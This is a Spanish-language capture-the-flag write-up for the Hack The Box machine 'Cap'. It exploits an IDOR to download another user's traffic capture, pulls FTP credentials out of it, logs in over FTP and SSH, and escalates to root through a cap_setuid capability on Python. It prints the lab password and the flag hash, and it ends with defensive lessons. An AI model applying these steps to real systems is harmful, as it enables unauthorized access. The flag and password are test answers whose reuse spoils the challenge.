Volver a Writeups
Hack The Box Easy 🐧 Linux Machines

Cap

Cap es una máquina Linux fácil que corre un servidor HTTP con funciones administrativas incluyendo la captura de tráfico de red. Controles inadecuados en la lógica del endpoint resultan en un IDOR que da acceso a la captura de otro usuario. El archivo PCAP contiene credenciales en texto plano que permiten el acceso inicial. Una Linux Capability mal configurada sobre Python permite la escalada de privilegios a root.

IDOR PCAP Analysis FTP Linux Capabilities cap_setuid Python3

Reconocimiento

bashnmap scan
nmap 10.129.102.177
# PORT   STATE SERVICE
# 21/tcp open  ftp (vsftpd 3.0.3)
# 22/tcp open  ssh
# 80/tcp open  http

IDOR en Security Snapshot — Acceso a PCAPs ajenos

La aplicación web tiene una funcionalidad de "Security Snapshot" que genera archivos PCAP de tráfico de red. Cada captura tiene un ID numérico en la URL: /data/1, /data/2, etc.

Al cambiar el ID a /data/0, accedemos a la captura de red de otro usuario que contiene tráfico FTP en texto plano con credenciales:

httpIDOR — acceso a captura ajena
GET /data/0 HTTP/1.1
# Descarga: 0.pcap

Abriendo el PCAP con Wireshark y filtrando por ftp, encontramos las credenciales del usuario nathan en texto plano:

wiresharkCredenciales FTP en texto plano
# USER: nathan
# PASS: Buck3tH4TF0RM3!

Acceso Inicial — FTP + SSH con mismas credenciales

bashFTP login y user flag
ftp 10.129.102.177
# User: nathan / Pass: Buck3tH4TF0RM3!

ftp> ls
# -r--------  1 1001  1001  33 ... user.txt
ftp> get user.txt

Las mismas credenciales funcionan para SSH, lo que nos da una shell interactiva más cómoda:

bashSSH
ssh nathan@10.129.102.177
# Password: Buck3tH4TF0RM3!

Escalada de Privilegios — Linux Capabilities (cap_setuid)

Las Linux Capabilities son una alternativa granular a SUID que otorgan privilegios específicos a binarios. La capability cap_setuid permite a un proceso cambiar su UID a 0 (root).

bashEnumerar capabilities
getcap -r / 2>/dev/null
# /usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
# /usr/bin/ping = cap_net_raw+ep

Python 3.8 tiene la capability cap_setuid. Podemos usar os.setuid(0) para convertirnos en root y luego spawnear una shell:

bashEscalada con Python cap_setuid
python3.8
>>> import os
>>> os.setuid(0)
>>> os.system("bash")

root@cap:~# whoami
root
root@cap:~# cat /root/root.txt
d6f47ffeeb9bad4e52a9803f0357bbaf

Lecciones Aprendidas

  • Los IDs de recursos en URLs deben validarse contra la sesión del usuario para prevenir IDOR. Un usuario solo debería acceder a sus propias capturas.
  • El protocolo FTP transmite credenciales en texto plano — siempre preferir SFTP o FTPS en producción.
  • No reutilizar contraseñas entre servicios (FTP y SSH en este caso).
  • Las Linux Capabilities son tan peligrosas como el bit SUID si se asignan a intérpretes como Python, Perl o Ruby. Auditarlas con getcap -r / 2>/dev/null regularmente.
cap